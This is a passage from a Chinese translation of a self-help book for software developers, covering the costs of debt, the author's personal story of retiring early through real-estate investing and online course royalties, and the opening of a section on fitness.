得更高的薪水。\n别担心，你仍然可以建立成功的退休计划。你只要对我的建议稍加修改以符合自己的需求就可以了。其实，我刚才描述的两种方案都是极端情况，为的是你能清楚地看到二者的不同，因为这样你才可能沿着其中某一个方向坚定前行，尽量少浪费精力。\n尽管并非最佳选择，但你还是可以走在这两条道路之间。如果你已投资了退休计划，并且希望继续保持，那么在以最高额度缴存退休金账户后，你仍然可以产生足够的收入去投资房地产或其他可以产生收入的资产。\n采取行动\n计算你的当前每月支出。看看如果自己愿意做出一些牺牲的话，能削减掉多少开支。\n计算一下，精简开支后，你每月要赚多少钱才能实现退休，记得要给自己留有缓冲余地。\n弄清楚根据不同的投资回报率（2%、5%和10%），你要有多少钱才能在退休的时候每个月有足够的收入。\n第54章 债务的危害：社保债务[1]代价昂贵\n在你能犯的财务错误里，最大的莫过于背上债务。不幸的是，我们似乎已经被培养得对“背上债务是正常的”观点欣然接受，经常看不到债务对我们生活的坏处和破坏性有多强。\n身为软件开发人员，在职业生涯里面对的最大挑战之一，至少是在财务方面的最大挑战，就是如何应对成功。赚钱越多就生活得越好，对吗？不对，起码不总对。事实上，我发现很多财务上成功的人士，特别是软件开发人员，往往会深陷债务的泥潭，因为他们赚得多，花得也多。\n真正获得财务成功的唯一方法就是用钱生钱。如果想获得财务自由，你就必须要能够让你的钱为你所用。如果说收益给我们自由，那么后面一定要再加上一句——债务会给我们套上枷锁。\n在本章中，我会讨论债务的破坏性，也会指出与债务有关的最常见的愚蠢之举。我们还将讨论为什么不是所有的债务都是坏事，以及如何分辨债务是好是坏。\n为什么债务一般都是不好的\n关于这一点，我们之前已经谈及一二，但一般来说债务都是不好的，因为债务完全与好的一面——靠你的钱获得利益——背道而驰。当你身背债务的时候，通常会靠自己的钱去支付利息。这就意味着，别人可能通过你的开销致富。\n当你债台高筑的时候，几乎不可能将自己的钱用于投资并从中获利。当然，除非债务带来的回报远远高于你要偿还的利息，这一点我们稍后会谈到。\n当你在借钱购物的时候，你为获得产品或服务支付的钱高于它本来的标价。这样做的害处会随着时间的推移急剧增加，尤其是在你的还款金额低于增加的利息的时候。你欠债的时间越长，债务对你带来的影响就越会冲击你的底线。想知道为什么，让我们来看下面这个简单的例子。\n假设你以年利率5%的贷款买了一辆标价3万美元的车，要在6年内还清贷款。在这6年期间，除了3万美元的本金之外，你还要支付4 786.65美元的利息。所以，这辆车最后花掉你34 786.65美元。\n实际上，这辆车的花费比这还要多。你为这辆车花费的4 786.65美元的利息本可以为你赚钱。你本可以靠这些钱获得利益的，而不是白白地用来支付利息。\n算出确切的数额有点儿难，但如果你把每个月用于支付利息的钱投到一项年收益5%的项目上，那么6年下来用于支付利息的这4 786.65美元的回报大约是2 000美元。因此，事实上，这笔债务可能花了你近7 000美元。\n当然，这看起来不算一笔巨款，但随着时间的推移这会持续增长。尤其是，如果你有多种形式的债务而又以复利计算利息，你支付的利率会更高。\n债务越多负担就越重，要实现财务自由的阻碍也就越大。当你身背债务的时候，你很难攒下钱，攒不下钱也就无法进行投资。\n你目前的债务处于怎样的水平？把你的所有债务累加起来，算一下总的利率是多少，每年为这些债务支付的利息是多少。\n债务方面常见的愚蠢之举\n好吧，也许你有债务。这确实会发生。我也曾身背债务——准确地说，现在我就身背债务。我欠着大约100万美元的抵押贷款，但是这一点待会儿才会讲到。如果你身背债务，你需要学习如何妥善处理债务，以便尽快减轻债务负担。\n我见过的与债务相关的最大的愚蠢之举就是，一边欠债（特别是欠信用卡债务）一边存钱。对我来说，这完全不可理喻。我总会听到各种辩解，如以备不时之需或者为将来存钱，但几乎没有办法在逻辑上证明这种行为的合理性。\n我认识的人里有人欠了几千美元的信用卡债务，但他们的存款账户却存着几千美元。如果你也有这种情况，不用不好意思，但你要马上做点儿什么。让我来解释一下为什么。\n问题在于，在大多数情况下，你为债务支付的利息要高于你把钱存在银行里所得的利息，特别是当这笔债务是由信用卡欠款产生的时候。假设你信用卡欠款是1万美元，利率15%，这意味着每年你要为这笔欠款支付1 500美元的利息。除非银行为你的存款支付高于15%的利息，否则你还不如把这笔钱取出来用来还信用卡欠款。\n你可能觉得这个建议太显而易见了，但据我所知，许多人一边借着高息购车贷款一边把钱存在银行里。除非你的购车贷款的利率接近于0%，否则这么做毫无道理。因为购车贷款利率往往低于信用卡欠款的利率，所以意识到这一点有点儿难。\n在存钱之前先把房屋抵押贷款还清，这么做才合理。你必须准确计算，并且情况可能会有所不同，一旦你把钱用于按揭贷款，通常你就不能拿回来了。通常得等还清整个贷款，你才能真正体会到无债一身轻。但是，从纯数字的角度来看，如果你这笔投资的回报不大于抵押贷款的利率，那拿钱偿还抵押贷款就不失为一项明智之举了。\n为了说明这一点，假设你有一笔利率7%的抵押贷款，这意味着，每一年你都要为贷款的余额支付7%的利息。每年你用来支付这笔贷款的款项，能给你带来7%的保障收益。（因为在扣除抵押贷款利息后你会获得一点税收优惠，所以这一数字会略有变化。与其把钱存进储蓄账户，还不如拿来偿还抵押贷款。）\n我经常看到的关于债务第二大错误是：以错误的顺序偿还债务。你偿还债务的顺序可以让你还清债务所花的时间大不相同。一定要根据利率高低来排清偿债务的优先级。确保先偿还利息最高的债务。\n尽管这看起来也很显而易见，但是我的确看到很多人都是以最低还款额来还信用卡和其他债务。千万别这样做。相反，每个月给利息最高的债务还尽可能多的钱，并坚持这么做，直到还清所有的债务。\n但是，在所有与债务有关的错误中，最大的一个就是不必要的债务，也就是说，在不需要欠债的时候欠债。这里我还是用购车贷款的例子，因为贷款买车是人们犯的最大错误。人们很容易就走进一家汽车经销店，买一辆新车，让自己背上不必要的债务。\n问题在于，这么做完全是颠倒顺序。通常，我们是按照相反的顺序做事的。不妨这样想想。贷款买车本质上是先买车再为买车攒钱。当你这么做的时候，买每样东西你都要付更多钱。\n要解决这个问题，可以先存钱再用现钱买东西。第一次打破这一循环会很难，但是一旦打破，你买每样东西都能少花钱。如果你刷信用卡买了一辆车，赶紧付清欠款。买车的时候，不要刷卡买新车；相反，可以通过继续开旧车，把钱存到“新车基金”账户打破这一循环。一旦你给新车基金存够了钱（通常需要4～6年时间），你就可以用现钱买辆新车，也可以马上再往新的“新车基金”账户里存钱。\n通过这样做，你买车的时候实际上获得了折扣而不是多付钱，因为你为买车积攒的钱随着时间推移会给你而不是别人累积利息。\n并非所有债务都是不好的\n尽管债务被我描绘的很丑陋，但这并不代表所有的债务都是不好的。如果你能利用债务赚到的钱比为这一债务支付的利息多，这样的债务就是好的。\n我曾经有一位同事有过一次交谈，他发现自己的信用卡公司正在举行一场特殊的促销活动，如果他开一张新卡或者转账，就能以1%的利率预借现金。于是他以最高额度申请了一笔预借现金，然后购买了一份利率3%的一年期大额存单（CD）。在年底的时候，他兑现了存款并还清信用卡欠款，用银行的钱获得了不错的收益。\n还记得我说过，我现在仍然有超过100万美元的抵押贷款吗？情况与此类似。因为知道自己能用借来的钱赚到比银行借款利率更高的回报，所以我举债购买了房产。我最后会还清债务，但现在这笔债务实际上为我赢得了比支付利息更高的收益。\n买房子并不总是比租房好，但在一些市场上，根据不同的利率，举债买房会让你有利可图，因为你会省掉付房租的钱。\n在许多情况下，学生贷款也属于这一类别。如果你能得到贷款，以便自己可以能拿到学位，帮助你获得更高薪的工作，那么这笔债务完全是一笔划算的投资。但是务必小心，因为并非一直如此。\n我经常建议高中毕业生在社区学院里完成他们头两年的大学教育，然后再转学到另一所大学里完成学位。通常这种受教育方式会便宜许多。太多人债台高筑就是为了从一所学费昂贵的大学获得学位，但这可能并不能给他们带来高额的投资回报，甚至可能会导致他们破产。\n背负债务的底线就是确保在背上债务之前，这笔债务实际上是一笔投资，它将为你产生的回报高于你为这笔债务所支付的利息。只有在绝对紧急的情况下，才可以背上不产生盈利的债务。\n采取行动\n列出你的所有债务的清单，把它们区分为两类：好的债务和不好的债务。\n把不好的债务按照利率从高到低排序，计算一下多久你可以清偿所有的债务。\n[1] SSD，这里应该是指美国的Social Security Debt。——译者注\n第55章 额外馈赠：我是如何做到33岁退休的\n自从我开始工作，我的目标就是提前退休。这不是说我不想工作，或者说，我是个懒人（尽管我确实有爱偷懒的毛病），而是我希望生活中自己能够自由自在地做自己想做的事情。\n如果你也有此愿望，即使你不想像我这么早退休，你也可能会发现我的故事相当有趣。在我自己提前退休以前，我总是在想，别人是怎么做到的呢？我也常常在想，软件开发人员如果不借助创立创业公司而一夜暴富，有没有可能提前退休。\n在本章中，我会分享我自己的故事，毫无保留。我会毫无隐瞒地告诉你我究竟是如何做到的，我会向你坦诚在这个过程中我的所有失败与成功。\n“退休”的确切含义是什么\n在讲述我的故事之前，我要先明确自己对“退休”的定义，因为不同人对它的看法会有很大的不同。\n我说的“退休”并非指这样的景象——玩着沙狐球，在乡村风格的餐厅吃着早餐和晚餐，享受早到的优惠等。（尽管我今天早上确实在Bob Evans[1]吃的早餐。）\n我说的退休也不是终年坐在热带沙滩上喝着玛格丽特鸡尾酒——尽管也不排除这种可能性。我无法想象无所事事的退休生活。显然，我现在并不是无所事事，我正在写这本书。\n相反，我把退休定义为“自由”，具体而言，即财务自由—— 一种不会囿于财务状况被迫用自己别无选择的方式将自己的时间花费在不合心意的事情上的能力。\n我从不追求永远不再工作，但是我一直追求在我不想工作的时候就不工作。这就是我目前的状态。我有足够丰厚的“被动收入”去对抗通货膨胀，如果我愿意，我也可以躺在沙滩上来一杯鸡尾酒；但是，我依然可以投身自己感兴趣的项目——那只是因为我想投身于该项目，而不是因财务原因必须投身于该项目。\n现在可以这么说，我要先承认自己还没有完全做到。以赚钱为唯一目标做事是很难打破的习惯。我现在还是会花大量的时间去做一些自己不一定想做的事情，但区别在于，至少这是我自己的选择。财务自由并不像看起来那么容易。在写这本书的时候，我正式退休才大约一年的时间。我还有很长的路要走，我还要探索自己想如何生活，什么才是我想要的生活——我好不容易才赎回来的自己的生活。\n我是如何起步的\n在第50章中，我曾经说过自己在20岁出头的时候就想明白了，即使我一年赚15万美元，也需要15年才能达到100万美元的目标——需要大量的牺牲和耐心。即便如此，如果缺乏坚实的计划来对抗通货膨胀，我还是不能“退休”。\n一开始，这确实让我非常沮丧。我真的不想在接下来的20～30年时间里不得不辛苦工作、节衣缩食，只求某天能够退休。我不喜欢把我的生活就搁置在那里，直到五六十岁才最终有机会做自己想做的事情。\n这种束手无策的感觉迫使我努力思考。我已经告诉过你我是如何涉足房地产投资的，主要的动机就在于此。我意识到，房地产投资是让我摆脱这种疯狂的竞争的船票。这个机会可能不能让我早早退休，但是一旦把房贷还清，至少能让我退休的时候有钱。我愿意冒这个险。\n我很想告诉你，我马上开始做各种人们为提前退休所做的准备工作。我想告诉你，我削减各种开支，省下我赚到的每一分钱，并且立刻进行聪明的投资。然而，我当时并没有这么做。\n事实是，那时我才19岁，一年能赚15万美元，住在加州圣塔莫妮卡，距离沙滩不过几个街区。我走进一家道奇汽车经销店，我发现尽管我买得起一辆价值7万美元的“蝰蛇”汽车，可是对于19岁的大男孩，想要开着红色道奇“蝰蛇”穿梭在圣塔莫尼卡[2]的大街小巷，保险费跟购车款差不多。哎呀，躲过了一场灾难。\n我也曾有过短暂的模特和演艺生涯——住在圣塔莫尼卡这是必须做的\n现在，我不想粉饰错误。我也犯过一些理财方面的错误——当时我花3.2美元买了一辆全新的本田“披露”轿车（Prelude），而且贷款条款非常苛刻。其实整体上说，我还是很节俭的。我把自己赚的大部分钱都存下来，积蓄可观。\n租房灾难\n你是不是也觉得对于一个仅19岁、身无一技之长的软件开发人员来说，一份时薪75美元的工作实在是好得不真实？结果的确如此，这份工作并没有维持很久。大约一年半之后，雇用我的这家公司开始限制性裁员。我所在的项目运营得不太好，投入再多再贵的人力也于事无补——悲剧啊。\n我不得不找另一份工作，但我再也找不到几年前那种千载难逢的好机会了。最后我不得不搬到亚利桑那州的凤凰城，接受了一份报酬并不丰厚的工作合同，对此我还不能抱怨。\n差不多在同一时刻，我的租客也搬离了我在爱达荷州博伊西的房子。他把我的房子弄得一团糟，而我原计划要在开始新工作之后一星期结婚的——真是快乐时光！\n最终我还是给我在博伊西的房子找到了几个租客，但是一直麻烦不断。租金总被拖欠，物品被损坏。甚至街对面住着一位疯狂的邻居，把我房子里发生的违法的、疯狂的行为都拍成了录像。一家公司提出要购买我的房子，询问是否可以在签署最终文件之前就开始翻新房子。他们拆了整栋房子，然后你猜怎么着？他们没有签署文件！我已经对这处房产失去信心，心灰意冷了。\n也许房地产投资并不适合我。我只有一栋破旧的房子，不仅无法出租，还一直吞噬着我的财富，这就是我们所说的“无底洞”。我该怎样做才能积累更多的房产，实现自己成为房地产大亨的计划呢？\n获得外部力量从困境中脱身\n我不会和你们唠叨随后几年发生的细节。因为无法出手，我最后还是保留了自己在博伊西的房产。我在全国游走，到过佛罗里达州、新泽西州，最后又回到佛罗里达。我和我妻子曾计划就在佛罗里达州安家，但我无法在那里找到工作。最后，我又回到了博伊西，在惠普公司找到一份工作。\n那几年里，我在存钱方面进展得相当不错。我妻子和我都很节俭，我挣的钱也不少。当我们搬回博伊西的时候，我们攒了差不多2万美元。在这两年左右的时间里，我们两个对于要存多少钱毫无概念，只是把每个月结余的钱都放到储蓄账户上——当然这并不是最好的策略。（现在回想起来，我纳闷为什么那时没有多存点钱。）\n我们最终在博伊西落脚，寻找房子安居。我们决定买一所房子，这样有朝一日我们也把房子租出去。我们计划先在房子里住上几年，然后买一栋新房子住，再把这所旧房子租出去。我们决定买下一幢标价12万美元的联排别墅，我们付得起10%的首付。联排别墅大约每个月能租800美元，跟我们每个月的按揭还款额差不多，我觉得我们每个月能收支平衡。（实际上，算上税费、保险、业主委员会会费和维修费用之后，收支其实并不平衡。）\n我们看到，我们的联排别墅旁边那一家挂牌出售，于是我们决定加快房地产投资计划。我们给隔壁的房产报价，然后支付了10%的首付，这样我们就有了第二套租赁房产，也是我们的第三套房产。购买这处房产让我后怕，它是我第一个完全以投资为目的购买的房产。\n这一次我决定聘请专业的物业管理公司。没有进行充分的调研，我就找了一家物业管理公司，结果这家公司非常不称职，不仅不能保证把房间长期租出去，还不断地伪造维修费用。于是过了一段时间，我才找到一家还不错的物业管理公司。（好吧，我聘请的第一家物业管理公司并不完全不称职，它们非常善于用业主的房产为自己赚钱。）\n在博伊西，我们自住的房子紧挨着我们出租的房子\n经受磨砺\n这项计划已经实施了多年。这期间，我已经购买了几处房产，实现了每年购买一处新房产的目标。我依然在惠普工作，竭尽所能存钱，以便于能够购买更多房产。由于攒下的现金不足以支付首付，要想买新的房产，我只能用自己的现有房产作为抵押来申请房屋净值贷款[3]。（这是一步险棋，但是能解决我的问题，因为当时的房屋净值贷款的利率很低。）\n因为已经做了很多笔房地产投资，所以我决定更进一步，自己考一个房地产经纪人执照，这样我就能自己完成交易，省下大笔的房产交易佣金。我妻子和我都完成了房地产代理人课程，并通过了考试。我们现在是正式的房地产代理人了。\n这个时候，我有6处房产，但是没一处赚钱的。事实上，当时我每个月还要贴钱进去。我错误地计算了自己购买的房产的实际成本，结果每个月我不得不从自己的口袋里掏出2 000～3 000美元来保有这些房产。大多数月份里，我妻子的全部薪水都要用来填补我们的租赁房产带来的损失。\n尽管看起来形势很糟糕，每个月我都要从口袋里掏出3 000美元，付给银行以偿还贷款，但是持有这些房产让我得到了一大笔减税。我还是向着自己“提早退休”的计划在前进……只是进展缓慢。\n是诱人的捷径还是可怕的短路\n在取得房地产经纪人执照后不久，我做了一个有点儿疯狂的决定——辞掉我在惠普公司稳定、高薪的工作，以合伙人的身份加入了我朋友的公司，这家公司从事在线游戏游戏点卡交易，同时还和他搭档销售房地产。读完《富爸爸，穷爸爸》之后，我觉得除了投资房地产和股票之外，我还应当有别的资产，如口香糖贩卖机，于是我还短暂地经营过口香糖贩卖机。\n现在回想起来，我认识到，做出这样的决策的主要动机就是渴望通过走捷径来实现真正退休，不是通过实现财务自由，而是通过“做我想做的事情”。\n不言而喻，这些举措并不成功。那时的我不谙世事又愚不可及。我不知道如何拼命挣钱、努力工作。我是一个糟糕的生意伙伴，只想着拿到自己的蛋糕再一口吞下。\n我最后离开了那家公司，重新找了一份全职工作——但是依然还有20台口香糖售卖机没有脱手。也许我不适合创业。\n经受更多磨砺\n在接下来的几年里，我继续奋战在一个普通的工作岗位上。我妻子也在几年后重新回到工作岗位，进入技术领域，她的事业节节攀升，赚的钱越来越多。我们拿出我们赚到的所有钱，投资到房地产上。\n有一段时间，我出租口香糖贩卖机\n每个月我还是要从自己口袋里掏出相当多的钱来还房地产的抵押贷款，但是在接下来的几年时间里我又积累了几处房产。我拥有三幢独栋住宅、一幢四单元住宅楼、两个复式单位和几个商务办公单位，每个月一点点地还贷款。\n我还是走了一点儿弯路，试图再次创业，结果又失败了。我的几个朋友开始办理短期贷款业务，我做了他们的合伙人，并且他们付薪水给我，只要我为他们开发一套新的软件系统。同样，因为不谙世事又愚不可及，可能还有一点点懒惰，一年后创业又失败了，最终我又找了一份公司的工作。\n在我工作的那段时间里，我赚的钱从来没有自己19岁时在圣塔莫妮卡捧着金饭碗时候赚的多。也就是说，直到后来我在爱达荷州拿到了一份工作合同，相隔10年，我的薪水才再次达到每小时75美元。也就在那时我才意识到，多年前我得到的第一份高薪的工作是多么幸运。\n大约就是在这个时候，房地产市场开始暴跌——艰难时刻降临。很多投资房地产的朋友都惊慌失措，纷纷抛售自己的房产。幸运的是，我的所有房产都是以30年期固定利率贷款购买的，所以房价下跌并没有真正影响到我。当然，我的房产价值缩水不少，但是我的按揭贷款没变、房租收入没变，又有什么关系呢？\n真正影响到我的是，银行发放新贷款时有了限制。我原本计划，在15年之内每年购买一处房产，然后把最老的房产卖掉，将所得的利润用于生计。但是，当银行限制每个人最多只能有4笔贷款时，我的计划就难以维持了。\n我只好转向商业贷款（而不是住宅贷款），筹措我在密苏里州堪萨斯城购入大笔房产所需的资金。一位住在堪萨斯城的朋友曾问我如何开始房地产投资，当我思考这个问题的时候，我发现堪萨斯城的房价极低但房租奇高。\n我打算在那里购买两幢四单元住宅楼，每幢22万美元——这可是我最大的一笔投资。但是，经过认真计算我发现，如果首付仅需10%的话，每个月我至少会有1 000美元装入口袋。但问题是我无法获得贷款。\n最后，幸运降临，拥有这些房产的银行同意向我提供贷款，以便于让这些房产从它们的资产负债表上消失。它们还给了我其他一些优惠条款，最终成交。现在，我日益增长的资产负债表里又多了8处租赁房产。\n即便如此，这笔交易依然十分可怕。当时我每个月已经要为自己投资的房产支付几千美元的按揭贷款，而房地产市场又持续下跌，我又在两幢自己都没见过的大型房产上投入了将近5万美元。这项投资要么让我咸鱼翻身，要么让我万劫不复。\n转折点\n购入密苏里州的两幢四单元住宅楼之后——顺便说一下，我并没有去看房，事情开始发生了转变。虽然当时我的现金流还是负的，但是我拥有了大量由租户负担的不动产。我信心十足，就算按最坏的情况打算，我也能在20年后轻松退休。最棒的是，在我退休的时候，也不会仅仅依靠微薄收入来维持生计。如果还清所有房产的贷款，我就能坐享差不多一年10万美元的被动收入。\n所以，那时我选择离开当时那份薪水丰厚的工作，为一家小公司工作，这家小公司为我提供在家办公的机会。我一直想在家办公，而我计算过，即使我的薪水会下降，但是因为我再也不用上下班通勤，所以我可以随意去自己想去的地方，并且拥有更多的时间。\n在开始这份新工作的时候，我决定，我将开始自己的副业：开发属于自己的软件。我想要找到一种获得更多被动收入的方法，并且职业生涯也到了一个节点——我有信心去创建任何东西。我开始通过创建一款Android应用来学习Android开发。这款应用会在人们跑步的时候告诉他们“加速”或者“减速”，从而让他们在跑步的时候保持一定的节奏。\n在接受这份可以在家办公的新工作后不久，我被介绍给一位绅士——David Starr先生，他最终改变了我的生活。David现在是Scrum.org的首席运营官，但当时他是我妻子工作的那家公司的首席软件架构师。\n早几年，我开通了自己的博客，尽管并不是非常欢迎，但有些文章还是得到了关注，特别是与Scrum有关的文章。David看到了我的这些文章，我也跟他在博伊西的一家代码训练营里有过一些交流。他一直在为一家叫做Pluralsight的新兴在线培训公司工作。他听说了我已经开发的一款Android应用，于是跟我提到，Pluralsight有兴趣创建一款Android应用，也有兴趣开设一门Android开发课程。\n当时，我不确定自己是否想给别的公司开发Android应用，也不确定自己是否愿意教Android开发——毕竟，当时我的计划是开始利用空闲时间开发Android应用，创造被动收入。我的妻子看到了Pluralsight提供的机会比我自己的计划要更好，于是她说：“你最好能够为Pluralsight开设一门课程。”我照做了。\n幸运降临\n当时，我的房地产投资表现相当不错，我也从自己的新Android应用中获得一些被动收入。这款应用被流行的女性健身杂志《Shape》提及。我每周还写几次博客，阅读许多软件开发和房地产投资方面的书籍。\n在我获得与Pluralsight合作的机会之前，我妻子怀孕了。我知道自己能用于开发这门课程的时间非常有限，于是提交了一个演示模块作为试讲，结果竟被接受了，这让我大吃一惊。最后我用3个月的时间完成了我的第一个Pluralsight课程。\n与Pluralsight合作的伟大之处在于，他们除了付给我制作课程的费用，还会付给我课程的版税。如果订阅了他们的服务的开发人员观看了我的课程，我就会每个季度收到版税。当时我没看出来这有多大的价值，但我的妻子却慧眼识珠。\n在我完成第一个课程之后，我妻子和我做出了两个重大决定：考虑到我们的孩子即将出生，我们最好搬到佛罗里达，这样可以离家人近一些；我最好为我的那款跑步应用开发iOS版本。（好吧，第二个看起来似乎并不像是一项重大决定，但后来真的变成了一项重大决定，因为它导致我制作了关于iOS开发的第二个和第三个Pluralsight课程。）\n我的女儿在当年4月出生，4个月后我们就跳上汽车，开始从爱达荷州博伊西去佛罗里达州坦帕的远征。在整个过程中，我要么忙着开发iOS应用，要么制作Pluralsight课程，更别提我还有一份全职工作。\n我的工作环境也不够理想。我的办公场所被我妻子和我戏称为“床上办公室”。我们住在一套很小的两居室公寓里，所以我的办公桌一边挨着卧室的墙，另一边刚好顶着床。我基本上日夜都待在这个房间里。白天我做正常工作，晚上我做自己的业余项目。\n当我收到第一张版税支票时（这一门课我就收到大约5 000美元的支票），我知道这是一个幸运符，它可以真正加速我的退休计划，只要我最大限度地拼命工作。\n“艰苦工作”模式\n我真的不知道接下来的几年自己是怎么熬过来的，无法想象，如果换做是现在，我是否还有精力去做我那么繁重的工作，但是我知道，像与Pluralsight合作这样的机会，一生只会垂青我一次。\n接下来的几年里，我每天白天工作8小时做我的正常工作，每晚花四五个小时制作Pluralsight课程，周末的工作量更大。在两年半的时间里，我创建了60门Pluralsight课程，其中总共有55个正式发布。我录制的教学视频足够你24小时不间断地看上一周。\n在此期间，我还坚持每周更新一次博客，开播了一档关注开发人员健身的名为“Get Up and CODE”的播客（http://getupandcode.com），开始每周制作一期视频发布在YouTube上。我很想说这种生活并不艰难，我很享受那段时光，但真相是那段日子苦不堪言、异常艰苦，我一直幻想着有朝一日我自己可以彻底解放。\n源源不断的被动收入\n这时，我开始拥有源源不断的多个被动收入流，我的博客也开始通过广告和加盟销售开始赚钱，我出售自己编写的跑步应用的Android和iOS版本，我也有每个季度都会送达并且持续增加的Pluralsight版税支票，并且我在房地产投资上也看到有几个月出现了正向的现金流。\n我们搬到坦帕之后，我立刻开始利用自己拥有的全部房产进行再融资，从而降低利息支出。仅此一项就让我每个月少了1 600多美元的开支。随后我又开始把自己从Pluralsight课程赚到的几乎所有的钱和工作攒下来的钱拿来还清房产贷款。\n我的目标是每个月有5000美元的被动收入。如果我能达到这个目标，我知道我就可以正式退休了。在2013年1月，我记得很清楚，我的目标达成了。于是我写邮件给我的老板，告诉他我要辞职，原因不是我找到了更好的工作，也不是不喜欢这份工作，只是不需要再上班了。我自由了。\n快速分析和小结\n我的故事有些奇特。开始时有些崎岖坎坷，后来仿佛得到了幸运女神的眷顾，突然间我就可以退休了。尽管我确实有一些运气，而且这些运气也加速了我的退休计划，但是事情不止于此。\n仅有运气是不够的。我需要用自己从Pluralsight课程赚到的钱做一些事情，这样才能真正退休。我可能会赚到100万美元，甚至200万美元，但是，如果我不知道如何将这笔钱用于投资房地产或其他类似地方，我也不可能退休。我可能还要继续工作，因为我不可能靠一两百万美元度过接下来的五六十年。\n投资房地产是我能够成功至关重要的一环。与Pluralsight的合作只是加速了我的房地产投资计划。如果我从来没有获得Pluralsight提供的合作机会，我依然会在10年左右的时间里退休，届时我将是43岁，也不赖。\n如果我没有很好地营销自己，让自己脱颖而出，也就不可能有机会做Pluralsight课程。我之所以能认识David Starr就是因为我的博客，因为我在代码训练营做演讲。我还一直尝试打开幸运之门。我投身很多不同的项目，在技能和职业生涯上精心投入。我相信，即使没有Pluralsight这样的机会，也会有其他能够改变生活的机会取而代之。事实上，我相信这是真的，因为实际上我已经不得不拒绝了一些其他的机会。\n我的观点是，运气是必要的。我不会假装自己从来没得到幸运女神的眷顾，但在一定程度上，是你给自己创造运气。如果你脚踏实地、努力工作，总是尝试提升自己和周围的人，那你获得好运气的可能性会大大增加。\n等式的最后一部分是努力工作。Pluralsight的很多作者也有着和我一样的机遇。我不是说他们不努力，只是我更积极、更努力，我是Pluralsight课程库中课程最多的作者。为了让自己梦想成真，我静下心来工作到很晚，周末也不例外。\n仅仅获得机遇是不够的——即便这一机会千载难逢。你必须充分利用机遇，否则再好的机遇也没用。\n现在，在结束本篇之前，我想提一个我妻子和我都认为对我们的成功非常重要的因素。我不知道你是否有宗教信仰，在本书中我也不打算说服你接受我的信仰，那毕竟不是本书的主旨。但是我不能不如实相告，我妻子和我都是基督教徒，而作为我们的信仰的一部分，我们拿出自己收入的10%捐给慈善事业。\n回到从前，在我们刚开始一起生活的时候，我们就决定将我们收入的10%用于奉献什一税——实际上我们是把这部分收入捐给一家慈善机构，以帮助印度的孤儿。在我们第一次奉献什一税的第二周，我的妻子就得到了加薪，加薪的数额正好是我们当时奉献什一税的数额。我个人认为，我们的成功很大一部分就是因为这种对奉献的承诺，一直恪守到今天。\n即使你不信仰任何宗教，我认为这一点也有某种符合逻辑的解释。我认为，你把钱看得越重，你就越难以在理财方面做出明智的、成功的投资选择。自愿把自己收入的固定数额奉献或者捐赠给慈善机构，可以改变你对金钱的看法。这一思想上的转变让你从金钱的所有者变成管理者。\n好了，我希望我的故事能对你有所启发，至少能让你对如何实现提早退休有所了解。我之所以愿意与你分享我的故事，部分原因是为了让你能看到我一路上犯过多少错。如果我当时拥有我现在拥有的这些知识和经验，那我会更快成功。也许你可以从我犯的一些错误中吸取教训，避免自己也犯同样的错误。\n[1] 创始人名字命名的美国乡村农场风格连锁快餐店品牌（http://www.bobevans.com），总部位于俄亥俄州新奥尔伯尼，创立于1962年，以香肠闻名。目前在美国中西部和西南部拥有超过500家的连锁店。以上摘自《维基百科》。——译者注\n[2] 圣塔莫尼卡（Santa Monica）是美国加利福尼亚州洛杉矶县的一个城市，位于太平洋沿岸、洛杉矶市以西，是一个度假胜地和住宅区，许多演艺界名流都在此居住，所以作者有此调侃。——译者注\n[3] 一套房产在银行已做抵押贷款，目前还在正常还款，在这种情况下房主以房屋的净值再次申请抵押贷款，而不必提前还清银行贷款。只要能通过专业评估，即可根据评估值进行再次抵押。以上内容摘自《百度百科》。——译者注\n第六篇 健身\n人的身体就是人的灵魂的最好写照。\n——路德维希•维特根斯坦\n你可能会觉得奇怪，一本写给软件开发人员的书为什么会用一整篇来讨论健身，但我丝毫不会诧异。事实上，我反而认为将这一篇内容写入本书是我的责任，因为如果你不注意自己的身体健康，老实说我并不看好你能成为顶尖的程序员。\n在很长一段时间内，我都认为，在软件开发人群中教育和普及体育健身方面的知识是非常迫切的需要。在我刚开始从事编程工作时，软件开发人员的典型形象就是一个书呆子，瘦骨嶙峋，戴着一副厚厚的眼镜，活脱一付笔尖保护套的模样。现在，这一形象似乎已经改变，不过是变得更糟了。如今，很多人认为，软件开发人员都是胖胖的男士，留着络腮胡子，穿着一件脏兮兮的白色T恤还吃着比萨。\n显然这两种刻板形象都是错的——有很多软件开发人员，不管是男性还是女性，都不是这种形象，但是第二种形象比第一种形象更让我害怕，因为我觉得有些开发人员已经开始认为自己应该就是那样的。\n本篇的目的是让你了解健身的基础知识，鼓励你打破成见，并且让你认识到，身为软件开发人员并不意味着男的不能健康，不能英俊潇洒，女的不能光彩照人。你同样可以保持好身材，可以拥有健康，但一切都始于正确的教育和坚定的信念——相信这些都是可能的。\n你可能还想知道我为什么有资格写饮食、营养和健身的话题。我的确没有任何营养学方面的学位，也不是认证的私人教练，但是我拥有的是经验。我从16岁起就开始学习健身和节食。我18岁时第一次参加了健美大赛。我还指导和帮助过很多人（包括软件开发人员在内）保持身材、减轻体重、增长肌肉以及达成其他健身目标。尽管我不是专家，但是在这一领域，我知识相当广泛，并且经过实践检验。\n我已经把一些与营养学基础知识有关的内容从本章移除，收录在了附录中。如果你对了解卡路里如何工作，以及你的身体如何消耗热量感兴趣，可以先看附录。\n第56章 为什么需要破解自己的健康密码\n健身不仅是保持健康体魄的关键要素之一，也是灵活的、具有创造性的脑力活动的基础。\n——约翰·肯尼迪\n我该如何激励你健身呢？让我想想……这个理由怎么样：心脏病是全球头号杀手，中风紧随其后，而健身能让你活得更长久？或者试试这个：研究证明，锻炼能让你更具创造性，能够激发你的思维？这些理由太虚？好吧，我已经知道答案了。谁不想自己外形迷人呢，至少我知道我肯定想。举重和减掉一些脂肪可以让你更有魅力，并且给你更多机会扩大你的……遗产。\n而且，我们要面对现实——大部分软件开发人员每天都伏案工作很长时间，一坐就是一整天。作为软件开发人员，我们更应该坚信，学习如何让身体保持健壮和健康能让我们获益良多，因为我们的工作往往会把我们推到另一个方向上。\n在本章中，我们会更加深入地了解坚持健身的一些理由，我还会尽力说服你立即开始健身——就是现在，不是明天，也不是下周。健身能让你成为更好的软件开发人员。这就是原因。\n自信心\n我不打算一开始就将你的现实愿望诱导到“保持健康”上来。我们都希望保持健康，我们中大多数人对于要做些什么才能让自己更健康至少都有一些想法，但我们还是会拿起一块辣肉肠比萨，或者深夜里大快朵颐塔可钟。变得很健康并不是去健身的足够强大的动力——至少，在你的生命直接面临威胁之前是这样的，但我们应该未雨绸缪。\n相反，我